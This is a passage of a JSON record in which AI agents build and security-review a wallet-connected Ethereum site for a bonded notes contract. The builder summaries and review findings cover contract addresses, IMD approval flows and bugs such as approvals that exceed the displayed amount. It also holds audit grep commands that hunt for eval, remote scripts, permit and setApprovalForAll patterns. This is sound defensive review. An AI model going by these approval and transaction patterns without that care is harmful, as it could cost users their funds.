{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"1a751f97-4657-4c3b-989c-cb1f3ab02c66","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"ef272e22316ccfff0311274e810ea8824f6bc93fbfc90bc8907065c2efd862b8","dependsOn":["frontend_for_contract","site_content_check"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"6b037a7b6601e883cf8a906c1520c0624817d42d8310b65c2f43679204608af3","skillId":"adversarial-review","tools":[]},"key":"adversarial_review","kind":"code","role":"review","skillHash":"6b037a7b6601e883cf8a906c1520c0624817d42d8310b65c2f43679204608af3","skillId":"adversarial-review","state":"accepted"},{"acceptedSubmissionHash":"9f9a2bbd27188a73a2c9be8e7bb14404366834e121c2d2b9fba246a0142d0051","dependsOn":["frontend_for_contract"],"execution":{"network":true,"optionalTools":["browser"],"profile":"none","requires":["network"],"skillHash":"4a5e9fb083a47bea78572ce4262f6ed18e7af57736a86ec2bbb7d17a8c72c62e","skillId":"design-critic","tools":[]},"key":"design_critic","kind":"code","role":"review","skillHash":"4a5e9fb083a47bea78572ce4262f6ed18e7af57736a86ec2bbb7d17a8c72c62e","skillId":"design-critic","state":"accepted"},{"acceptedSubmissionHash":"d5be08bfbee71a38241723b153fb81f56735436f3a83a3a9ea135118985cd29b","dependsOn":[],"execution":{"mustProduce":["dist/index.html"],"network":true,"optionalTools":["browser"],"profile":"none","requires":["network"],"skillHash":"ed66ac168d7374db08ca358b6745195f339b0c74331416d3620ee268632b790c","skillId":"frontend-for-contract","tools":[]},"key":"frontend_for_contract","kind":"code","role":"implement","skillHash":"ed66ac168d7374db08ca358b6745195f339b0c74331416d3620ee268632b790c","skillId":"frontend-for-contract","state":"accepted"},{"acceptedSubmissionHash":"2645901dfa6702e5ee19506a314a02961a7ca7847a64b7ed477b44461b62a4c8","dependsOn":["frontend_for_contract"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"8189a3059fc9bb774ad7dcee66b87f32e25d781025f0e9f82a4c75182fe0ef19","skillId":"site-content-check","tools":[]},"key":"site_content_check","kind":"code","role":"review","skillHash":"8189a3059fc9bb774ad7dcee66b87f32e25d781025f0e9f82a4c75182fe0ef19","skillId":"site-content-check","state":"accepted"}],"objective":"Build the Marginalia site against the live launch #1283 contracts (hook 0xf0457dd0cf526686190e4f057ba19db14d34a0cc on Ethereum mainnet; router, judge, treasury via hook.router()/judge()/treasury(); MARG 0xfa0efea559bde229031c2b0a219472316647759c; IMD 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7). A static site, wallet-connected, reading the chain directly: (1) FEED of notes and theses from NotePosted events with live status from noteOf (open / right / wrong / void / retracted / thesis open / closed), author, token, side, target, horizon, bond, text, outcome and settle price from Settled; filters by token and author; (2) AUTHOR page: the record (score, posted, right, wrong, retracted) from records(address) and the author's notes; (3) NOTE page: the observations (Observed events), horizon end, settlement window, the outcome, parent/child links; (4) POST flow: choose token X and venue (Uniswap v4 pool key, v3 pool or v2 pair), call router.checkpointVenue first and show the one-hour wait clearly, then router.note(params, v4Key, imdIn, minMargOut, deadline) with the bond chosen inside BOND_MIN..BOND_MAX, IMD approval, and the stamp + MARG_BUY explained; theses (targetBps 0) with long text; counters via parentId; (5) SEAL flow: compute sealHash(author, params) client-side, call hook.seal(x, venue, hash), show the 30 min to 6 h reveal window and reveal by posting the same params; (6) POOLS page: refundPool(today), thesisPool(week), sweep and judging state; claimDeposit / claimRefund buttons for the connected author. Plain language throughout: a bonded feed, not a perp DEX, not a prediction market; nothing pays for being right; informational, not advice. Mobile-first, no backend, no analytics, no external APIs except the chain RPC. VERIFIED SPECIFICS (from a working prototype against the live contracts; use them as given): hook.router() = 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263 and hook.judge() = 0xa9e1891d76553195B4Cbcd0F8Db290C8C0FA28B9 (EIP-1167 clones; ABIs = MarginaliaRouter / MarginaliaJudge in this repository). Posting pulls IMD from the author by transferFrom, so the author approves the ROUTER for imdIn = STAMP 0.1 + MARG_BUY 0.25 + bond (bond in BOND_MIN 0.25 .. BOND_MAX 10 IMD). router.note(p, v4Key, imdIn, minMargOut, deadline) where minMargOut covers only the MARG_BUY leg (0.25 IMD worth of MARG at hook.margPriceInImd(), which returns IMD per MARG scaled 1e18; allow ~10% slippage). NoteParams.venue for the launch pool: kind 1 (UniV4), ref = keccak256(abi.encode(currency0 IMD 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7, currency1 MARG, fee 12500, tickSpacing 60, hooks = the hook)), quote and xIsToken0 are derived by the router (pass IMD / false); pass the full PoolKey as v4Key. For a v3 pool: kind 2, ref = the pool address left-padded to bytes32; v2 pair: kind 3; v4Key then ignored. The venue must be quoted in IMD, WETH or native, and X must be a token of the pool. class = 1 (the router sets Traded/Agent itself). targetBps = 10000 + pct*100 for BUY, 10000 - pct*100 for SELL, min 10% away; a thesis is targetBps 0 and horizonDays 0 with text up to THESIS_TEXT_MAX 8192 bytes; call text up to TEXT_MAX 280 bytes. Checkpoint state: router.validateVenue(p, key) returns the derived Venue; router.priceWindows(keccak256(abi.encode(venue))) .startedAt is the window start; a post needs it 1 h to 6 h old; show a countdown. records(address) returns (int256 score scaled 1e4, uint32 posted, right, wrong, broken, retracted, judgedWins). noteOf(id) returns (author, x, side, targetBps, horizonDays, class, status, postPrice, postBalance, deposit, parentId, children); status enum Open, Right, Wrong, VoidSold, VoidNoData, Retracted, ThesisOpen, ThesisClosed. The venue is not in NotePosted nor noteOf: keep it client-side when posting. Public read RPC: any mainnet RPC; note that free-tier Alchemy limits eth_getLogs to 10 blocks per call, so read logs from a node that serves wide ranges (e.g. ethereum-rpc.publicnode.com) in ≤2000-block chunks from deploy block 26169583. Observations: hook.observe(id) is permissionless inside the 6 h window after horizonEnd(id); settle(id) after it; a keeper runs these, the site only shows them. ALSO: (7) VENUE FINDER: given a token address, resolve its canonical venues for the user instead of asking for a pool address: Uniswap v3 factory 0x1F98431c8aD98523631AE4a59f267346ea31F984 getPool(token, WETH 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 or IMD, fee in {100, 500, 3000, 10000}) and Uniswap v2 factory 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f getPair(token, WETH or IMD); list the ones that exist with their liquidity and let the user pick; the launch pool is the only v4 venue offered. (8) PERMISSIONLESS KEEPER BUTTONS on the note page: when a call is inside its 6 h settlement window show an 'Observe' button calling hook.observe(id), and after the window a 'Settle' button calling hook.settle(id) (10% of a forfeited bond goes to the settler); on a thesis past its 7-day grace with no child, 'Forfeit' calling settleThesis(id). Anyone may press them; explain why. (9) SEALED-NOTE TEXT: v1 keeps the sealed text with the author (the site shows the seal event, the hash, the window and the reveal); delivery to key holders arrives with the key market in a later iteration — say so on the seal page. (10) The site's canonical links: x.com/marginalia_md, the explorer launch page, and the hook/MARG addresses in full in the footer with the line 'Informational and research purposes only. Not financial advice. Bonds can be lost.' REVIEW BRIEF for the review steps (read-only, before hosting): verify every contract address against the live ones named above; verify that approvals target ONLY the router and only for the amount shown; verify that every transaction the page builds matches the router/hook ABIs in this repository; verify there are no external scripts, no third-party RPC beyond the user's wallet and the public read node, no analytics, no remote code loading, no obfuscated code; verify the venue finder uses the canonical Uniswap factory addresses named above; verify the copy never promises returns, never says 'buy', and shows the disclaimer. Any address, approval or script finding is critical and must refuse hosting. LOOK: a ledger, not a terminal. Paper and ink: light background #f6f1e7 with ink #1d1a16, rust accent #b9471f for links and the primary button, a hairline rule #d9cfbd between entries; dark mode inverts to #15130f / #ece5d6 with the same accent. Serif body type (Iowan Old Style / Palatino / Georgia fallback), monospace only for addresses and ids. The mark is the manicule ☞ (a pointing hand, the marginalia glyph) next to the word Marginalia in the header. Notes render as entries in a ledger: a status tag, the token and the claim on one line, the text beneath, the author and bond in small type. No gradients, no glassmorphism, no stock crypto imagery, no charts. Mobile first; one column; 17px base.","parentJobId":"9060a248-29ce-4683-b5d1-54fbc83cd49d","planHash":"e9a3856259e8c94bdc40b2bcdbe6aee84e530423b85a3ecc248fd4aa0842f124","previousHash":"2b68758e0d5af4db3397bf37845d1aa6b5522dc34e689f56c383ca697f0f580b","projectId":"9060a248-29ce-4683-b5d1-54fbc83cd49d","publication":{"commit":"be207a07c0872f89ff17e5a66133d01070d853b9","deliveredAt":"2026-10-12T03:22:04.465Z","repoUrl":"https://github.com/identity-md-launches/launch-1283-marginalia-x-com-marginalia-md-notes-mar"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[],"site":{"cid":"bafybeibo5rw3tq4ukuphzihj7kmw2gbkbi7sfhddt36m3vcwcj73fhoknu","ensName":"marginalia.site.identitymd.eth","namingTransaction":"0x546c8cda0176229d1256f316b7f70196ee6e8fcd3db05d7fb5353cd4a001e76d"},"snapshotHash":"f3bf846c0850cf351fee78f9a7e400e00fce2c09b6a4122dd9afcf94f4fb44d2","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"c0f23265ed97309523de88c9ab25f7f092626e1b611e2ab4ac54765e6ba1d790","device":"72b617d4b615473a","findings":[],"hash":"08232b5ab32c67822457f0673e14f6d389eff8dfaf60624036e0633a541356b8","nodeId":"9d6d2b49-9f21-43a1-96bd-e6347cb0561b","outcome":"completed","summary":"The work is committed and the tree is clean. Here is the report.\n\n## What was built\n\nThe Marginalia site is a static Vite, React and TypeScript app in `web/`, exported to `dist/` with a relative base and hash routing, committed as `b0358c8` with its lockfile. It reads Ethereum mainnet through the two public RPCs from `network.json` and signs only through the visitor's injected wallet.\n\n- **Feed, author, note, pools, about pages** read `NotePosted`, `Settled`, `Observed`, `Sealed`, `Revealed` and `Retracted` logs in 2000-block chunks from the deploy block, joined with live `noteOf`, `records`, `refundPool`, `thesisPool` and the judge's week state.\n- **Post flow** runs a venue finder (launch v4 pool for MARG, v3 pools at the four fee tiers and v2 pairs against WETH and IMD, only with liquidity), derives the venue through `router.validateVenue`, checkpoints the venue and shows the one-hour wait as a countdown, breaks down stamp + MARG purchase + bond, approves IMD to the router for exactly that total, then simulates and sends `router.note`. Theses and counters via parent id are supported.\n- **Seal flow** computes `sealHash` client-side, calls `hook.seal`, shows the 30 min to 6 h reveal window, lists the author's seals and prefills the post form to reveal. The page states that sealed text stays with the author in v1.\n- **Keeper buttons** (Observe, Settle, Forfeit thesis) and author claims (deposit, refund) sit on the note page; sweep is on the pools page. The footer carries the canonical links, the full hook and MARG addresses and the required disclaimer line.\n- `dist/imd-deployment.json` is generated by `web/scripts/manifest.mjs` and loaded by the app at runtime for addresses, chain and network; router, judge and treasury come from the hook, not from typed-in addresses.\n\n## Verification\n\nTypecheck and production build passed. `web/scripts/check.mjs` confirmed the manifest structure, every asset's SHA-256, both ABI hashes against the handoff (canonical sorted-key keccak), a byte-equal network block, no extra keys, and no absolute or remote references. A read-only scratch script checked 23 encodings against the live contracts, including `sealHash`, `sealKey`, `poolId`, `validateVenue` derivation, the router's factory constants and the ABI subsets. Details are in `web/VALIDATION.md`; design tokens and components are in `DESIGN.md`.\n\n## Not done, stated plainly\n\n- **No browser inspection.** The browser tool blocks `file:` URLs, no preview was supplied, and a bounded local server was unreachable from it. No screenshots exist and no rendered or contrast check is claimed. The validation record marks the assignment incomplete on that point.\n- **No mocked-wallet interaction tests** and no live transactions. Transaction paths are verified to argument construction and encoding only.\n- **One deviation from the review brief:** sealing needs an IMD approval of exactly one stamp to the hook, because the hook pulls the seal stamp itself. The page explains it; posting approvals target only the router.\n- A new `web/.gitignore` containing only `node_modules/` was added so the dependency tree cannot enter the submission.","treeHash":"64d1f03bc2a9eca4f43008ffb3cbf17e7ee68996","usage":{"cachedInputTokens":3645629,"inputTokens":898,"model":"claude-fable-5-1","outputTokens":101203,"runtime":"claude","turns":71,"wallClockMs":1805097}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"30bcdea6dcb9ee40","findings":[{"citation":"resolved","description":"The brief asks for a SEAL flow that computes sealHash(author, params) client-side and calls hook.seal(x, venue, hash). The hosted Seal page computes the hash, shows the checkpoint state and the 30 min to 6 h window, but its Seal button is hard-disabled and no code path builds a hook.seal transaction (web/src/pages/Seal.tsx:55 explains why: the live hook pulls its 0.1 IMD stamp itself through _fund(STAMP) -> IERC20(imd).safeTransferFrom(msg.sender, hook, amount) at src/MarginaliaHook.sol:822 and :786, so sealing needs an IMD allowance to the hook, and the brief's review rule 'approvals target ONLY the router' forbids that). The two requirements in the brief conflict; the site chose the approval rule and documents the gap on the page and in web/README.md. This is a scope gap for the requester to decide, not a hosting hazard: no approval or transaction is built, and the explanation shown to visitors is accurate. If sealing is wanted, the only way to deliver it is an exact-amount (STAMP) IMD approval to the hook address taken from imd-deployment.json, which the review rule would then have to permit explicitly.","line":81,"path":"web/src/pages/Seal.tsx","reproduction":"Open dist/index.html#/seal, connect a mainnet wallet, enter a token with a canonical venue, pick the venue, fill side/target/horizon/text. Expected per brief: a Seal button that sends hook.seal(x, venue, sealHash). Actual: the hash is shown, a red notice reads 'New sealing is unavailable on this site', the Seal button stays disabled regardless of wallet or checkpoint state; grep -n \"functionName: 'seal'\" web/src returns nothing.","severity":"medium","snippet":"      <button type=\"button\" disabled aria-describedby=\"seal-unavailable\">Seal unavailable</button>","title":"Seal flow (deliverable 5) is not operational: the Seal page never calls hook.seal"},{"citation":"resolved","description":"The post form fills NoteParams.x with the MARG address for every thesis (the hook accepts any x for targetBps 0; src/MarginaliaHook.sol _postNote skips _checkCallVenue for theses). The feed filter at web/src/pages/Feed.tsx:76 matches notes by x, so filtering the ledger by token 'MARG' (or the MARG address) lists all theses alongside genuine MARG calls, and a thesis about another token cannot be found by that token. The entry itself renders as 'Thesis' so nothing is misrepresented; this only weakens the token filter the brief asks for. A fix is to let the thesis author name the token the thesis is about (any address with code; x == imd is allowed for theses), or to exclude theses from token matching unless kind = theses.","line":63,"path":"web/src/pages/Post.tsx","reproduction":"With a thesis posted through #/post (Kind: Thesis), open #/ and type MARG in the Token filter with Kind = all. Expected: only notes about MARG. Actual: every thesis appears, because the site set its x to the MARG address at post time.","severity":"low","snippet":"          x: contracts.marg,","title":"Theses are posted with x = MARG, so the Feed token filter 'MARG' returns every thesis"},{"citation":"resolved","description":"Read in full. The only script and stylesheet are relative paths into dist/assets; the icon is an inline data: SVG; OG/Twitter images point at ./share-card.png; meta description carries 'Informational and research purposes only. Not financial advice.' There is no external URL, iframe, redirect or inline script.","line":25,"path":"dist/index.html","reproduction":"grep -nE 'https?://' dist/index.html returns only the meta content strings (none are loaded resources); grep -c '<iframe' dist/index.html returns 0.","severity":"info","snippet":"    <script type=\"module\" crossorigin src=\"./assets/index-kf6RRY_t.js\"></script>","title":"dist/index.html loads only its own relative bundle and stylesheet; no remote script, iframe, analytics or font"},{"citation":"resolved","description":"The 580,704-byte bundle was rebuilt from the committed web/ tree with `npm ci` on the pinned package-lock (react 19.2.0, viem 2.57.4, vite 7.1.9) in a scratch copy; sha256 38bb1095a81a9e311dedc5abd434b08fbd759fb4b60a78ce12b2485a4f74953d matches the shipped file and dist/imd-deployment.json, as do the CSS and the ccip chunk. So the bundle contains exactly the source read for this review plus React, viem and ox. The only network calls in that source are: fetch of the relative imd-deployment.json (web/src/config.ts:99), JSON-RPC to the two public nodes from the manifest (this line), and the visitor's injected EIP-1193 wallet. URL inventory of the minified bundle: w3.org namespaces and react.dev/viem.sh/oxlib.sh/abitype.dev/docs.soliditylang.org/4byte.sourcify.dev strings inside React and viem error messages (never fetched); https://ipfs.io and https://arweave.net inside viem's ENS-avatar helper, which nothing in the app calls; https://x.com/marginalia_md and https://explorer.imd.fun/jobs/9060a248-29ce-4683-b5d1-54fbc83cd49d as footer links (both answer HTTP 200). The createElement(\"script\") and location.href occurrences are react-dom's resource and focus internals, not loaders. No eval, new Function, importScripts, WebSocket, sendBeacon or XMLHttpRequest.","line":68,"path":"web/src/chain.ts","reproduction":"cp -r web /tmp/x/web && cd /tmp/x/web && npm ci --ignore-scripts && npm run build && sha256sum ../dist/assets/* — compare with sha256sum dist/assets/* in the repository: all three hashes match. Then grep -oE 'https?://[A-Za-z0-9./_%:?=&#-]+' dist/assets/index-kf6RRY_t.js | sort -u to see the inventory above.","severity":"info","snippet":"    transport: fallback(cfg.rpcUrls.map((u) => http(u, { batch: true, retryCount: 2 }))),","title":"dist/assets/index-kf6RRY_t.js is byte-identical to a clean rebuild of web/ and loads no remote code"},{"citation":"resolved","description":"The 2,888-byte chunk is viem's standard CCIP-Read (EIP-3668) module, split out by Vite because viem imports it dynamically from the call() path. It would fetch a gateway URL named by a contract revert, but the public client is created with ccipRead: false, so viem never takes that branch; the file contains no URL of its own and only imports from the main bundle.","line":67,"path":"web/src/chain.ts","reproduction":"head -c 400 dist/assets/ccip-CCWe3kRO.js shows `import{...}from\"./index-kf6RRY_t.js\"` and the OffchainLookupError classes; grep -c 'https\\?://' dist/assets/ccip-CCWe3kRO.js returns 0; web/src/chain.ts:67 disables ccipRead on the only public client.","severity":"info","snippet":"    ccipRead: false,","title":"dist/assets/ccip-CCWe3kRO.js is viem's lazily imported OffchainLookup handler and is unreachable because ccipRead is disabled"},{"citation":"resolved","description":"dist/imd-deployment.json carries exactly the handoff's contracts (Marginalia 0xfa0efea559bde229031c2b0a219472316647759c, MarginaliaHook 0xf0457dd0cf526686190e4f057ba19db14d34a0cc), chain 1, the network block from network.json (IMD 0xd34a99bc0f67ae1bbd63c660e6d0b0dd03e263b7, RPCs ethereum-rpc.publicnode.com and eth.drpc.org, explorer etherscan.io). web/src/config.ts hard-codes no contract address; router, judge, treasury, imd, token and the pool key are read from the hook (web/src/chain.ts loadContracts), and the app refuses to start if hook.imd() or hook.token() disagree with the manifest. Live reads on 2026-10-12 (block 26173615) through ethereum-rpc.publicnode.com: hook.router() = 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263, hook.judge() = 0xa9e1891d76553195B4Cbcd0F8Db290C8C0FA28B9 (both as the brief states), hook.imd() = IMD, hook.token() = MARG, getPoolKey() = (IMD, MARG, 12500, 60, hook). The only other addresses in the source are the venue finder's canonical Uniswap v3 factory 0x1F98431c8aD98523631AE4a59f267346ea31F984, v2 factory 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f and WETH 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 (web/src/config.ts:26-28), which equal the router's live UNIV3_FACTORY/UNIV2_FACTORY/WETH constants; the finder disables itself if they ever differ.","line":16,"path":"dist/imd-deployment.json","reproduction":"cast call --rpc-url https://ethereum-rpc.publicnode.com 0xf0457dd0cf526686190e4f057ba19db14d34a0cc 'router()(address)' and 'judge()(address)'; cast call 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263 'UNIV3_FACTORY()(address)' 'UNIV2_FACTORY()(address)' 'WETH()(address)'; grep -rnE '0x[0-9a-fA-F]{40}' web/src — only the three Uniswap constants appear.","severity":"info","snippet":"      \"address\": \"0xf0457dd0cf526686190e4f057ba19db14d34a0cc\",","title":"Every contract address comes from imd-deployment.json or from the hook at runtime and matches the live chain"},{"citation":"resolved","description":"Transactions built anywhere in web/src: IMD.approve(router, imdIn) where imdIn = STAMP + MARG_BUY + bond and bond is validated inside BOND_MIN..BOND_MAX (Post.tsx:77-79, shown as 'Total … approved to the router only'); router.note(params, launchPoolKey, imdIn, minMargOut, deadline) with minMargOut = 0.25 IMD / hook.margPriceInImd() less 10% (the router's Slippage check compares the MARG received for the swap, which the hook limits to MARG_BUY, so the minimum covers only that leg); router.checkpointVenue(params, poolKey); hook.observe/settle/settleThesis(id); hook.claimDeposit/claimRefund(id); hook.sweep(kind, epoch). No permit, no signTypedData, no setApprovalForAll, no unlimited approval, no approval to the hook. Shipped ABIs dist/abi/*.json are identical (canonical JSON) to `forge build` output from this tree and to web/public/abi; web/src/abi.ts is typed `as const` so the TypeScript build (which passes) checks every function name and argument shape against them. Event signatures parsed in web/src/notes.ts (NotePosted, Settled, Observed, Retracted, Sealed, Revealed) match src/MarginaliaHook.sol:181-203 field for field; seals()/records()/noteOf() tuple indices used by the pages match the Seal, Record and NoteView struct orders.","line":110,"path":"web/src/pages/Post.tsx","reproduction":"grep -rn \"functionName: '\" web/src | grep -v readContract lists the write calls above; grep -rn 'maxUint256\\|signTypedData\\|permit\\|setApprovalForAll' web/src shows maxUint256 used only as a sentinel for a failed balance read in Note.tsx. forge build --offline then compare out/MarginaliaHook.sol/MarginaliaHook.json .abi with dist/abi/MarginaliaHook.json under sorted-key JSON: equal.","severity":"info","snippet":"    const { request } = await pub.simulateContract({ address: contracts.imd, abi: erc20Abi, functionName: 'approve', args: [contracts.router, imdIn!], account: acct! });","title":"The only approval the site builds is IMD approve(router, stamp + MARG_BUY + bond) for the exact displayed total; every transaction matches the repository ABIs"},{"citation":"resolved","description":"The footer on every route shows x.com/marginalia_md, the explorer launch link, the hook and MARG addresses in full and the required disclaimer line, followed by 'A bonded feed, not a perp DEX and not a prediction market. Nothing pays for being right'. Feed, Post, About and Pools ledes repeat that a right call only gets its own bond back. Sides are labelled 'Upward call' / 'Downward call'; the 0.25 IMD leg is described as 'MARG purchase'; the word 'buy' appears in web/src only in a code comment (lib.ts:150). No giveaway, APY, profit or guarantee wording. dist/share-card.png is a 1200x630 paper-coloured card reading 'Notes and theses. A bonded record. Nothing pays for being right. Informational and research purposes only. @marginalia_md' with the manicule mark. web/src/styles.css uses the specified tokens (#f6f1e7/#1d1a16/#b9471f/#d9cfbd, dark #15130f/#ece5d6), Iowan Old Style/Palatino/Georgia serif, monospace only for .mono/addresses, 17px base, one column with a 44rem measure. The unrelated helper/ directory (a local x402 payment helper for api.imd.fun) is not part of dist/ and is not hosted.","line":225,"path":"web/src/ui.tsx","reproduction":"grep -niE '\\bbuy(s|ing)?\\b|guarantee|profit|airdrop|giveaway|apy' web/src/*.tsx web/src/pages/*.tsx web/index.html returns no visitor-facing string; open any route of dist/index.html and scroll to the footer.","severity":"info","snippet":"      <p>Informational and research purposes only. Not financial advice. Bonds can be lost.</p>","title":"Copy, disclaimer, links and look match the brief; no returns promised, no 'buy' in visitor-facing text"}],"hash":"2645901dfa6702e5ee19506a314a02961a7ca7847a64b7ed477b44461b62a4c8","nodeId":"2bad0136-5594-493a-8be9-e70915872477","outcome":"completed","summary":"The review is complete. The findings file is written and validated, and the working tree holds no change other than that file.\n\n**Verdict: nothing critical or high. The site may be hosted.**\n\nWhat I verified, reading every file in the export and the source it was built from:\n\n- **Bundle provenance.** A clean rebuild of `web/` from the pinned lockfile reproduced all three asset files byte for byte, so the 580 KB minified bundle contains exactly the reviewed source plus React, viem and ox. No eval, remote script, iframe, analytics, WebSocket or beacon. The only network calls are the relative manifest fetch, JSON-RPC to the two public nodes from the manifest, and the visitor's injected wallet. CCIP reads are disabled.\n- **Addresses.** Hook and MARG come from the manifest and match the handoff. Router, judge, treasury, IMD and the pool key are read from the hook at runtime, and live reads today returned the router and judge the brief names. The venue finder's Uniswap factory and WETH constants are canonical and are cross-checked against the live router.\n- **Approvals and transactions.** The single approval is an exact-amount IMD approve to the router for stamp + MARG purchase + bond, shown as the total. No permit, typed-data signature or unlimited approval. Shipped ABIs equal the forge build output, and every event and tuple layout the pages decode matches the hook source.\n- **Copy and look.** Disclaimer line, canonical links and full addresses are in the footer on every route. No visitor-facing \"buy\" or returns language. Design tokens, serif body, manicule mark and one-column layout match the brief.\n\nFindings recorded in `.imd-findings.json`:\n\n- **Medium.** The Seal flow never calls hook.seal. The button is hard-disabled because the hook pulls its stamp by transferFrom, which needs an IMD allowance to the hook, and the brief's own review rule allows approvals only to the router. The page explains this honestly. The requester must choose between the two rules.\n- **Low.** Theses are posted with the MARG address as their token, so filtering the feed by MARG returns every thesis.\n- **Six info entries** documenting each hosted file, what it does, and the evidence above, so the hosting decision has a per-file record.","treeHash":null,"usage":{"cachedInputTokens":2075407,"inputTokens":610,"model":"claude-fable-5-1","outputTokens":31077,"runtime":"claude","turns":34,"wallClockMs":798994}},{"artifacts":[],"attempt":1,"bundleHash":"9d3459bc16801debb311e6b7397702e3d21fdfc32f1435a80c0caff2430ea5ab","device":"ddeff5e2c1df0f4a","findings":[],"hash":"2b1de66079fc84d9995cb43218ecad4a247e59e64dbda583959675bb48db0e82","nodeId":"9d6d2b49-9f21-43a1-96bd-e6347cb0561b","outcome":"completed","summary":"Addressed all 23 findings and rebuilt `dist/`.\n\nBuild, typecheck, 9 unit scenarios, 19 browser scenarios, and manifest checks passed. Submission: 4.73 MB.\n\nNew sealing remains disabled under the router-only approval rule. Missing archive history is explicitly flagged.\n\nResults are documented in `web/VALIDATION.md`; finding responses are in `.imd-responses.json`.","treeHash":"4e89b639bfca56af7fb00924caca10f32fdb06df","usage":{"cachedInputTokens":6547072,"inputTokens":198226,"model":"gpt-6-astra","outputTokens":57955,"runtime":"codex","turns":9,"wallClockMs":1715948}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"7ffab1989aa9150f","findings":[{"citation":"resolved","description":"Now: sendApprove authorizes contracts.hook for STAMP, and the Seal page offers 'Approve 0.1 IMD to the hook'. This is an explicit exception implemented by the builder, not a router approval.\nChange to: Remove the hook approval action and gate sealing with a clear unavailable explanation until the requester resolves the conflict between the router-only policy and the immutable hook.seal implementation. Do not host this build with the non-router approval enabled.\nWhy: The review brief explicitly requires approvals to target ONLY the router and makes any approval finding critical. MarginaliaHook._fund does need a hook allowance, so simply substituting the router would not implement a working seal.","line":38,"path":"web/src/pages/Seal.tsx","reproduction":"At 390px (also any width), open #/seal with an injected wallet on chain 1 whose IMD allowance to 0xf0457dd0cf526686190e4f057ba19db14d34a0cc is zero. The page displays 'Approve 0.1 IMD to the hook'. Clicking it builds ERC20 approve(hook, 100000000000000000) on IMD, as the exact simulation arguments at line 38 show; the required spender is router 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263. This can be inspected with a mock wallet without broadcasting. Source corroboration: src/MarginaliaHook.sol:785-787 pulls from msg.sender, and seal calls _fund(STAMP); the requirements conflict is real, not an ABI mismatch.","severity":"critical","snippet":"    const { request } = await pub.simulateContract({ address: contracts.imd, abi: erc20Abi, functionName: 'approve', args: [contracts.hook, L.stamp], account: acct! });","title":"fidelity: sealing requests an IMD approval to the hook despite the router-only hosting rule"},{"citation":"resolved","description":"Now: The bond field accepts 18-decimal IMD amounts, but fmtAmount truncates the total and approval label to four decimals. The transaction still approves the full imdIn, so the shown approval amount is not the amount authorized.\nChange to: Render the exact formatUnits(imdIn, 18) value in the total, approval label and transaction explanation; use full precision for the chosen bond as well. Alternatively reject extra precision before enabling approval, with an explicit validation message.\nWhy: The review requires approvals 'only for the amount shown' and explicitly makes approval findings critical. A financial authorization must never silently truncate its amount.","line":271,"path":"web/src/pages/Post.tsx","reproduction":"At 390px, connect an injected chain-1 wallet with zero router allowance (a mock wallet that refuses signing suffices). On #/post choose Thesis, enter 'A review-only thesis, never sent.', and set Bond to 0.25009. Total and the action display 0.6 IMD. Click 'Approve 0.6 IMD to the router' and inspect the unsigned eth_sendTransaction: to=0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7, approve(spender=0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263, value=600090000000000000), i.e. 0.60009 IMD. Expected the page to show 0.60009 before authorization. Reproduced in Chromium against live read RPC; nothing broadcast. fmtAmount in web/src/lib.ts:169-174 uses f.slice(0, digits), digits=4.","severity":"critical","snippet":"              label={`Approve ${imdIn ? fmtAmount(imdIn) : ''} IMD to the router`}","title":"bug: router approvals exceed the amount displayed for bonds with more than four decimal places"},{"citation":"resolved","description":"Now: Percentage validation checks the input minimum and SELL <100, then rounds pct*100 without validating the resulting uint32 targetBps. SELL 99.999 becomes targetBps=0 (a thesis); a sufficiently large BUY target throws from sealHash during render and blanks the site.\nChange to: Reject non-finite or over-precision percentages, and validate the final encoded target: upward 11000..4294967295, downward 1..9000. Show an inline field error before returning params or computing a seal hash. Keep a priced call's target nonzero and its UI consistent with the encoded value.\nWhy: The requested call must remain a priced call; targetBps=0 has a different on-chain meaning and a seven-day thesis obligation. Invalid input must not destroy the layout or the draft.","line":169,"path":"web/src/form.tsx","reproduction":"Two reproductions at 390px in Chromium, using MARG's launch venue, a 30-day horizon and nonempty text. (1) On #/post select SELL and enter Target move=99.999. With a fixture providing a mature checkpoint, adequate IMD/allowance and successful note simulation, 'Post the call' is enabled. The unsigned router.note request contains side=1,targetBps=0,horizonDays=30. Expected field rejection; src/MarginaliaHook.sol:410 treats targetBps==0 as a thesis. (2) On #/seal with a connected chain-1 mock wallet, select the upward side and enter 42949573. document.body.innerText becomes empty and the console throws: Number \"4294967300\" is not in safe 32-bit unsigned integer range (0 to 4294967295), viem@2.57.4. Expected a visible form with a range error and disabled sealing. The second case used live read RPC; neither case signed or broadcast a transaction.","severity":"high","snippet":"    const bps = Math.round(pct * 100);\n    params = {\n      x: draft.x.trim() as Address,\n      venue: derived.venue,\n      side: draft.side,\n      targetBps: draft.side === Side.Buy ? 10000 + bps : 10000 - bps,\n      horizonDays: h,","title":"bug: unchecked target rounding turns calls into theses and can crash sealing"},{"citation":"resolved","description":"Now: The seal flow goes directly from a valid call 